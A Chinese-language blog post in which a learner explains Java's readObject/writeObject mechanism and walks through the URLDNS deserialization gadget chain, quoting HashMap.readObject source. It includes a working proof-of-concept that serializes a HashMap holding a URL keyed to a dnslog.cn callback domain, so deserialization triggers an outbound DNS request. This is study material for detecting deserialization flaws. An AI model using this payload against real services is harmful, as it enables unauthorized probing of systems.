readObject和URLDNS反序列化利用链

这几天有点忙 学的略慢

最开始我很不理解readObject和writeObject的执行过程 后来把源码看了一遍 又自己写了demo进行测试 差不多是明白一些了 对p牛说的java序列化和反序列化的设计思想也有了概念。

readObject和writeObject理解:

readObject和writeObject本质上都是在对序列化的字节流进行操作 readObject可以读取到writeObject中写入的内容 比如HashMap的readObject可以从writeObject中读取到key和value

testcode:

public class URLDNS {
    public static void main(String[] args) throws Exception {
        test a = new test();
        byte []b = serialize(a);
        unserialize(b);
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}
class test implements Serializable {
        private void readObject(ObjectInputStream s)throws Exception{
            String a = (String) s.readObject();
            System.out.println(a);
        }
        private void writeObject(ObjectOutputStream s)throws Exception{
            s.writeObject("aaaaaaaaa");
        }
}

在运行过程中,成功打印了writeObject中写入的aaaaaaaaa

如果想要理解这个流程 就得看一看readObject的源码了

不做详细分析 说一下关键流程

在我看来 readObject有两个核心功能,一个是从还原出writeObject写入到字节流中的对象,一个是判断对象是否重写了readObject方法,如果重写了,则使用反射,调用重写后的readObject,而贯穿其中的则是我们传入的序列化字节流,而重写的readObject和writeObject则通过传参的方式,继续对字节流进行操作。这个地方我个人觉得初学(尤其是像我这种基础差的)很容易钻到牛角尖,不过如果把整个过程,都看成一条对字节流进行数据存取操作的流水线的话,就容易理解了。然后简单看一下源码。

跟进这个核心函数

中间的流程就不说了

最终的关键点在这里 看方法名也懂了,如果存在readObject,就反射调用方法。 而这个判断方法的依据属性,其实是在ObjectStreamClass 的构造方法中就进行了初始化。 这就是反序列化中 从ObjectOutputStream.readObject->对象.readObject的过程。

然后就可以看看URLDNS了。

不得不说 这个链有手就行 不要太简单 主要还是理解下过程吧。

从HashMap的readObject看起

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                               loadFactor);

        // set hashSeed (can only happen after VM boot)
        Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
                sun.misc.Hashing.randomHashSeed(this));

        // Read in number of buckets and allocate the bucket array;
        s.readInt(); // ignored

        // Read number of mappings
        int mappings = s.readInt();
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                               mappings);

        int initialCapacity = (int) Math.min(
                // capacity chosen by number of mappings
                // and desired load (if >= 0.25)
                mappings * Math.min(1 / loadFactor, 4.0f),
                // we have limits...
                HashMap.MAXIMUM_CAPACITY);
        int capacity = 1;
        // find smallest power of two which holds all mappings
        while (capacity < initialCapacity) {
            capacity <<= 1;
        }

        table = new Entry[capacity];
        threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
        useAltHashing = sun.misc.VM.isBooted() &&
                (capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);

        init();  // Give subclass a chance to do its thing.

        // Read the keys and values, and put the mappings in the HashMap
        for (int i=0; i<mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            putForCreate(key, value);
        }
    }

在最后的putForCreate中,有一个对key的hash操作

跟进去

然后这个hashCode显然是利用了Java的多态特性 因为key本身是Object,在具体的实例确定之前 都不会知道是调用了哪个的hashCode

而在URLDNS链中,我们调用的是URL的hashCode方法

如图

跟进后面的调用

在断点处,对key进行了域名解析,也就成功带出了dnslog请求。 当然 这个东西只能测试存在反序列化。

testcode:

   public static void test1()throws Exception{
        HashMap<URL,String> hashMap = new HashMap<URL,String>();
        URL url = new URL("http://q9owhk.dnslog.cn");
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,123123);
        hashMap.put(url,"P3rh4ps");
        f.set(url,-1);
        byte []a = serialize(hashMap);
        unserialize(a);

    }

这里先把url设置成一个随意值,是为了防止put时候进行请求 在put后重新设置字段为-1 hashMap中的对象也会随之改变

运行之后 dnslog成功收到请求。

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注